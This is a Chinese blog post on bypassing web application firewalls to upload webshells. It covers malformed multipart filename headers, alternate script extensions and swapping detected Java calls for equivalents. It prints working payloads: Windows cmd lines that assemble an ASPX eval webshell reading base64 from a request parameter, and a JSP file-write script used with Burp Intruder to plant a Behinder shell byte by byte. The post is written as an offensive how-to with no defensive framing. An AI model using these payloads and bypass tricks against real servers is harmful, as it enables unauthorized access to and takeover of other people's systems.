文件上传绕过waf

前言

在这个waf横行的年代,绕waf花的时间比找漏洞还多,有时候好不容易找到个突破口,可惜被waf拦得死死的。。。
这里总结下我个人常用的文件上传绕过waf的方法,希望能起到抛砖引玉的效果,得到大佬们指点下。

常见情况

下面总结下我经常遇到的情况:

一. 检测文件扩展名

很多waf在上传文件的时候会检测文件扩展名,这个时候又能细分几种情况来绕过。

1. 寻找黑名单之外的扩展名

比如aspx被拦截,来个ashx就行了;jsp被拦截可以试试jspx、JSp等等。这个简单,无需赘述。

2. 构造畸形的数据包,“打乱”waf的检测

这个方法,又能细分出很多来,而且屡试不爽,这里总结下我个人常用的
(1) 删掉content-type
(2) 构造多个filename
比如这样:

又或者这样:

(3) 把filename参数变畸形
正常的数据包,是这样:

Content-Disposition: form-data; name="file"; filename="100x100.jsp"

waf拦截了:

把filename变成这样(后面多了个双引号):

Content-Disposition: form-data; name="file"; filename="100x100.jsp""

可以看到waf直接拉胯了:

二. 检测文件内容

一般来说,waf也会检测文件内容。这个时候被检测往往是一些敏感的“关键词”,比如exec()、eval()这些函数。这个时候怎么办呢?

1. 图片马

“上古时期”经常用这个绕waf什么的,现在估计不太行了。

2. 文件包含

利用php远程文件包含或者java反射调用外部jar等等操作。可是有时候连带有文件包含功能的函数也会被检测。。。

3. 替换被检测的内容

这个是我用得比较多的方法。
比如java中Runtime.getRuntime().exec()经常被杀或者被拦截,这里可以通过调用ProcessBuilder类来实现相同的功能。
参考:
https://www.cnblogs.com/sevck/p/7069251.html
https://github.com/huyuanzhi2/fuck_waf_jspx
亲测可以绕过YxlinkWAF
又比如,fileOutputStream被拦截时:

我可以用RandomAccessFile来替代:

这个方法往往需要花很长时间,通过不断的删改来定位被检测的内容,去查阅资料文档来找可以替代的函数或者类。

4. “曲线救国”

当我们没办法直接上传shell的时候,可以先上传一些小功能的脚本,比如写文件,cmdshell等等:
然后利用写文件或者cmdshell来写入shell,来达到我们的目的。
比如windows cmd下不换行输入来拆分eval:

>>d:\xxx\dao.aspx set/p=^<%@ Page Language="Jscript"%^>
>>d:\xxx\dao.aspx set/p=^<%ev
>>d:\xxx\dao.aspx set/p=al(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["zz"])))),"unsafe");%^>

又比如利用之前我们上传的写文件函数,一个字节一个字节的将shell写进去。
先将我们的冰歇shell.jsp拆开:

然后利用之前绕过waf上传的写文件脚本:

<%@ page import="java.io.*" %>
<%
RandomAccessFile randomFile = new RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw");
long fileLength = randomFile.length();
randomFile.seek(fileLength);
randomFile.write(request.getParameter("c").getBytes()); 
%>

参数 f=/shell.jsp&c=

结合burp的intruder把冰歇马给写进去:

结语

waf,真是个让人头疼的东西。

 


作者:dazhige

更多精彩实战文章关注微信公众号:None安全团队

  • 3
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值